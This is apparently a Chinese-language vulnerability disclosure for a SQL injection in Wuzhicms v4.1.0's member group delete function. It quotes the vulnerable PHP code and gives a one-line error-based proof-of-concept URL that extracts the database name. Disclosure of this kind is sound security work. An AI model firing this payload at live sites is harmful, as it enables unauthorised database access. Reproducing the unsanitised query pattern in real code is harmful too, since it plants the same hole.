Wuzhicms v4.1.0 /coreframe/app/member/admin/group.php 存在 SQL 注入漏洞

漏洞文件：
/coreframe/app/member/admin/group.php：132-160

 public function del() {

if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {

if(is_array($GLOBALS['groupid'])) {

$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';

foreach($GLOBALS['groupid'] as $gid) {

$this->db->delete('member_group_priv', array('groupid' => $gid));

}

} else {

$where = ' = '.$GLOBALS['groupid'];

$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));

}

$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);

$this->group->set_cache();

if(isset($GLOBALS['callback'])){

echo $GLOBALS['callback'].'({"status":1})';

}else{

MSG(L('operation_success'));

}

}else{

if(isset($GLOBALS['callback'])){

echo $GLOBALS['callback'].'({"status":0})';

}else{

MSG(L('operation_failure'));

}

}

}

在group.php文件中，del方法下的$groupid参数是可控的，$groupid参数没有经过严格过滤，造成SQL注入漏洞！

POC

index.php?m=member&f=group&v=del&groupid=7 and UPDATEXML(1,CONCAT(0x7e,database()),3)&_su=wuzhicms&_menuid=86

漏洞位于管理成员->成员组管理列表->删除操作

感谢您的来访，获取更多精彩文章请收藏本站。